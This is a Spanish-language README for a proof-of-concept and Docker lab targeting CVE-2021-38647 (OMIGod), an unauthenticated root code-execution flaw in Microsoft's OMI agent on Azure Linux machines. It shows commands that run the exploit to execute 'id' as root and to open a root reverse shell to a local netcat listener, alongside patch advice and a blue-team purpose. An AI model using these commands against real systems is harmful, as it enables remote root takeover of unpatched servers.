
OMIGod / CVE-2021-38647 POC y entorno de demostración
Open Management Infrastructure (OMI, anteriormente conocido como NanoWBEM) es un servidor de gestión de código abierto del Modelo de Interfaz Común (CMI) de Microsoft y The Open Group. OMI es un agente de software presente en la mayoría de las máquinas virtuales Linux de Azure, aunque muchos desconocen su presencia.
El 14 de septiembre, el equipo de investigación de Wiz publicó un artículo detallando cuatro vulnerabilidades en OMI. Las vulnerabilidades se describen como fáciles de explotar y pueden permitir a los atacantes ejecución remota de código arbitrario y escalada a root con una sola solicitud.
CVE-2021-38647 es una vulnerabilidad de ejecución remota de código no autenticada que se explota enviando una solicitud HTTP manipulada. CVE-2021-38647 permite a un atacante ejecutar comandos como el usuario del agente OMI, normalmente root.
Los agentes OMI se utilizan ampliamente en servidores Linux de Azure cuando estos servicios están en uso:
Según Microsoft, la mayoría de los servicios de Azure que utilizan OMI lo implementan sin exponer el puerto HTTP/S.
El objetivo de este proyecto es crear un entorno de demostración de manera fácilmente replicable para que los equipos Blue puedan encontrar IoC más fácilmente. Para lograr este objetivo, creo una imagen Docker personalizada configurada con la versión vulnerable de OMI.
Dependiendo de tu configuración, esto podría requerir sudo.
# Building the docker container
docker build . -t omi-god
# Running it
docker run --name=omi-god -it omi-god
Ahora tendrás una terminal de root para el contenedor Docker. Debes obtener la dirección IP del contenedor Docker, lo cual se puede hacer con el comando:
# Add it to clipboard
docker inspect omi-god | jq ".[0].NetworkSettings.Networks.bridge.IPAddress" | cut -d\" -f2 | xclip -selection clipboard
# Show it in terminal
docker inspect omi-god | jq ".[0].NetworkSettings.Networks.bridge.IPAddress" | cut -d\" -f2
Cuando esté configurado, puedes intentar ejecutar cualquier PoC. Para ejecutar el de este proyecto, ejecuta los siguientes comandos:
# Execute any command as root
python3 omigod.py -t 172.17.0.2 -c id
-> uid=0(root) gid=0(root) groups=0(root)
# Get a reverse shell as root on the server
python3 omigod.py -t 172.17.0.2 -r -l 172.17.0.1 -p 4444 & nc -lnvp 4444
Video de IppSec sobre este exploit y cómo configurar un entorno similar - https://www.youtube.com/watch?v=TXqi1BKtcyM El entorno configurado en este proyecto se basa en el video de IppSec.
PoC de horizon3ai - https://github.com/horizon3ai/CVE-2021-38647 El PoC en este proyecto se basa en el PoC de horizon3ai.
Para más detalles, consulta el trabajo de los investigadores originales: https://www.wiz.io/blog/omigod-critical-vulnerabilities-in-omi-azure
Todas las versiones de OMI por debajo de v1.6.8-1 son vulnerables.
Se ha publicado una versión parcheada que corrige este exploit. Actualiza y asegúrate de que la versión sea 1.6.8.1 o superior.
Este software ha sido creado únicamente con fines de investigación académica y para el desarrollo de técnicas defensivas efectivas, y no está destinado a ser utilizado para atacar sistemas excepto cuando esté explícitamente autorizado. Los mantenedores del proyecto no son responsables ni se hacen responsables del mal uso del software. Úsalo de manera responsable.